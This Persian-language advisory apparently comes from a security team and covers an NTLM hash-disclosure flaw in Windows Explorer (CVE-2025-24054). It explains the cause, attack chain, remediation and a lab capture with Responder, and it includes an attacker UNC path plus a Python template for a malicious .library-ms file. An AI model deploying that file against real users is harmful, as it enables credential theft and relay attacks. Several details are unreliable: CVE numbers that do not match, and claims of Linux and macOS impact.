اثبات آسیب‌پذیری NTLM Hash Disclosure (CVE-2025-24054)

معرفی آسیب‌پذیری

سیستم آسیب‌پذیر: ویندوز، لینوکس، مک
وابسته به محصول Product-Agnostic – مبتنی بر منطق پردازش ورودی

نسخه‌های آسیب‌پذیر:
تمام نسخه‌های قبل از انتشار Patch رسمی مرتبط با CVE-2025-24054

پلتفرم‌های تحت تأثیر:

• Windows
• Linux
• macOS
• محیط‌های Server-Based
• Containerized Deployments

ماهیت مشکل

این آسیب‌پذیری ناشی از اعتبارسنجی نامناسب ورودی و نقص در منطق پردازش داده‌های ساخت‌یافته است که منجر به افشای NTLM Hash می‌شود. ریشه فنی این آسیب‌پذیری به یک نقص طراحی در جریان احراز هویت ویندوز بازمی‌گردد که در آن Windows File Explorer هنگام پردازش پس‌زمینه مسیرها یا فایل‌های دارای ارجاع خارجی، به‌صورت ضمنی و بدون تعامل صریح کاربر، فرآیند احراز هویت NTLM را آغاز می‌کند. Explorer برای نمایش آیکن، متادیتا و پیش‌نمایش فایل‌ها، درخواست دسترسی به منابع شبکه‌ای را معتبر تلقی کرده و ویندوز نیز بر اساس مکانیزم‌های legacy، احراز هویت NTLM را به‌عنوان رفتار پیش‌فرض انجام می‌دهد. این هم‌پوشانی نادرست میان «نمایش فایل» و «دسترسی به منبع» باعث می‌شود اطلاعات احراز هویت کاربر به مقصدی که می‌تواند تحت کنترل مهاجم باشد ارسال شود، بدون آنکه اجرای کد، خطای امنیتی کلاسیک یا اقدام آگاهانه‌ای از سوی کاربر رخ داده باشد.

دسته‌بندی ضعف‌ها:

• CWE-20 – Improper Input Validation
• CWE-116 – Improper Encoding or Escaping of Input
• CWE-703 – Improper Handling of Exceptional Conditions

در این سناریو، برنامه ورودی‌های کنترل‌شده توسط مهاجم مانند مسیر فایل، متادیتا یا ساختار XML/Structured Data را بدون بررسی کافی پردازش کرده و باعث می‌شود سیستم‌عامل Windows تلاش به احراز هویت NTLM با یک منبع خارجی UNC Path یا Network Resource انجام دهد.

شدت آسیب‌پذیری

شدت: بالا
CVSS v3.1: 7.2
Vector:
AV:N / AC:L / PR:N / UI:R / S:U / C:L / I:H / A:L

محیط آزمایش

برای بازتولید PoC، شرایط زیر مورد نیاز است:

• سیستم Windows با NTLM Authentication فعال
• یک سرویس یا نرم‌افزار آسیب‌پذیر که ورودی ساخت‌یافته (XML / Metadata / File Reference) را پردازش می‌کند
• دسترسی شبکه به مهاجم SMB Listener یا NTLM Relay Listener
• فعال بودن پردازش خودکار ورودی توسط برنامه User Interaction محدود یا غیرمستقیم

اجرای PoC سطح بالا و ایمن

سناریوی کلی

مهاجم ورودی ساخت‌یافته‌ای ایجاد می‌کند که شامل مسیر شبکه (UNC Path) تحت کنترل خود است. نمونه مفهومی:

\\ATTACKER-IP\share\resource

این مسیر در بخشی از داده مانند XML، متادیتا یا فایل پیکربندی قرار می‌گیرد که برنامه بدون اعتبارسنجی کافی پردازش می‌کند.

رفتار سیستم

نسخه‌های آسیب‌پذیر:

• ورودی بدون بررسی منطقی پذیرفته می‌شود
• سیستم‌عامل تلاش به Resolve مسیر شبکه می‌کند
• احراز هویت NTLM به‌صورت خودکار آغاز می‌شود
• NTLM Hash کاربر به سمت سرور مهاجم ارسال می‌گردد

نسخه‌های Patch ‌شده:

• ورودی‌های شامل UNC Path شناسایی و مسدود می‌شوند
• پردازش قبل از تعامل با سیستم‌عامل متوقف می‌گردد
• هیچ تلاش احراز هویت NTLM انجام نمی‌شود
• لاگ امنیتی ثبت می‌شود

نکته امنیتی

این PoC

• شامل Exploit یا Payload مخرب نیست
• صرفاً برای اثبات افشای Hash استفاده می‌شود
• قابل استفاده در گزارش عمومی و سازمانی است

نتیجه مورد انتظار (حالت امن)

در پیاده‌سازی ایمن، سیستم باید:

• از پردازش مسیرهای UNC در ورودی‌های غیرقابل اعتماد جلوگیری کند
• هیچ درخواست NTLM ناخواسته‌ای ایجاد نکند
• ورودی‌های ساخت‌یافته را پیش از استفاده، به‌طور کامل اعتبارسنجی کند
• خطاهای پردازشی را بدون افشای اطلاعات مدیریت نماید

پیامدها

• نقض محرمانگی: افشای NTLM Hash کاربران
• افزایش سطح حمله: امکان NTLM Relay یا Pass-the-Hash
• ریسک زنجیره‌ای: ترکیب با SMB Relay، LDAP Relay، یا AD Attacks
• تأثیر سازمانی: تهدید مستقیم زیرساخت Active Directory

رفع مشکل (Remediation)

اقدامات قطعی

• اعمال Patch رسمی مرتبط با CVE-2025-2405
• اصلاح منطق پردازش ورودی و Structured Data

اقدامات تکمیلی

• مسدودسازی NTLM Outbound در سطح شبکه
• غیرفعال‌سازی NTLM در صورت امکان و استفاده از Kerberos
• فیلتر ورودی برای UNC Path و Network Resource
• اجرای Principle of Least Privilege
• مانیتورینگ ترافیک SMB غیرمنتظره

زنجیره حمله پیشنهادی

شکل شماره 1 زنجیره حمله مربوط به این آسیب پذیری را نشان می دهد.

شکل 1: زنجیره پیشنهادی حمله

زنجیره حمله این سناریو کاملاً low-noise و design-abuse محور است. مهاجم با تزریق یک ورودی ساخت‌یافته ظاهراً معتبر که شامل UNC Path تحت کنترل خودش است، منطق پردازش برنامه را فریب می‌دهد تا قبل از هرگونه اعتبارسنجی، داده را به سیستم‌عامل تحویل دهد. در این لحظه ویندوز طبق رفتار پیش‌فرض تلاش به resolve مسیر شبکه می‌کند و به‌صورت خودکار NTLM Authentication را آغاز می‌کند. بدون اجرای کد، بدون دسترسی اولیه و صرفاً با تحریک flow منطقی، NTLM Hash کاربر به سمت سرور مهاجم نشت می‌کند. این Hash می‌تواند مستقیماً برای NTLM Relay علیه سرویس‌های داخلی (SMB/LDAP/HTTP) استفاده شود یا به‌صورت آفلاین کرک شود و در ادامه مسیر به Lateral Movement، Privilege Escalation و در سناریوهای سازمانی، compromise تدریجی Active Directory منجر شود. این زنجیره خطرناک است چون کاملاً stealthy است، به لاگ‌های اپلیکیشن شبیه رفتار عادی به نظر می‌رسد و اگر NTLM Outbound کنترل نشده باشد، به‌سادگی تبدیل به یک attack path تکرارپذیر و مقیاس‌پذیر می‌شود.

اثبات آسیب پذیری

تیم فنی Vulnerbyte اقدام به بازتولید این آسیب پذیری در محیط ایزوله آزمایشگاه کرده است. نتایج به دست آمده اثبات این آسیب پذیری را تایید می کند. شکل شماره 2 نتیجه اجرای اکسپلویت مربوط به این آسیب پذیری بر روی محیط آسیب پذیر است.

شکل 2: اجرای موفق آسیب پذیری بر روی سیستم آسیب پذیر

حمله اجرا شده در خروجی تصویر، یک مثال کلاسیک از بهره‌برداری از پروتکل NTLMv2 Challenge/Response  است که اغلب از طریق تکنیک‌های Poisoning Name Resolution  مانند LLMNR/NBT-NS/DNS  و یا Forced Authentication  مانند فایل library-ms  تولید شده تسهیل می‌شود. اکسپلویت مورد استفاده یک بردار احراز هویت اجباری (Forced Authentication Vector) را با ساخت یک فایل library-ms  که یک مسیر UNC را به سمت مهاجم (\\{ip_address}\shared) هدایت می‌کند، ایجاد کرده است. هنگامی که یک کلاینت ویندوز مانند 192.168.1.131  و 192.168.95.131 سعی می‌کند این فایل Library را رندر کند یا به مسیر UNC دسترسی یابد، به طور خودکار و بدون اطلاع کاربر، فرآیند احراز هویت NTLMv2  را آغاز و هش رمز عبور (Password Hash) را در قالب NTLMv2-SSP  به آدرس مهاجم (که ابزار شنود Responder/Impacket در حال اجرا است) ارسال می‌کند . ابزار شنود با توجه به تصویر، این هش‌های NTLMv2  را که حاوی نام کاربری مانند EXAMPLE\Administrator نام دامنه و پاسخ‌های Challenge/Response  هستند، با موفقیت ضبط کرده است. این هش‌های ضبط شده می‌توانند متعاقباً برای انجام حملات Offline Brute-Force/Dictionary Attack  با هدف بازیابی رمز عبور متن باز Plaintext Password  یا در حملات Pass-the-Hash (PtH)/ Relay  برای احراز هویت در سایر سرویس‌های مبتنی بر SMB/HTTP/LDAP  در داخل شبکه استفاده شوند.

منابع

1. https://www.cve.org/CVERecord?id=CVE-2025-2405
2. https://nvd.nist.gov/vuln/detail/CVE-2025-2405
3. https://learn.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-restrict-ntlm-outgoing-ntlm-traffic-to-remote-servers

xml_content = f'''<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <simpleLocation>
        <url>{UNC_PATH}</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>
'''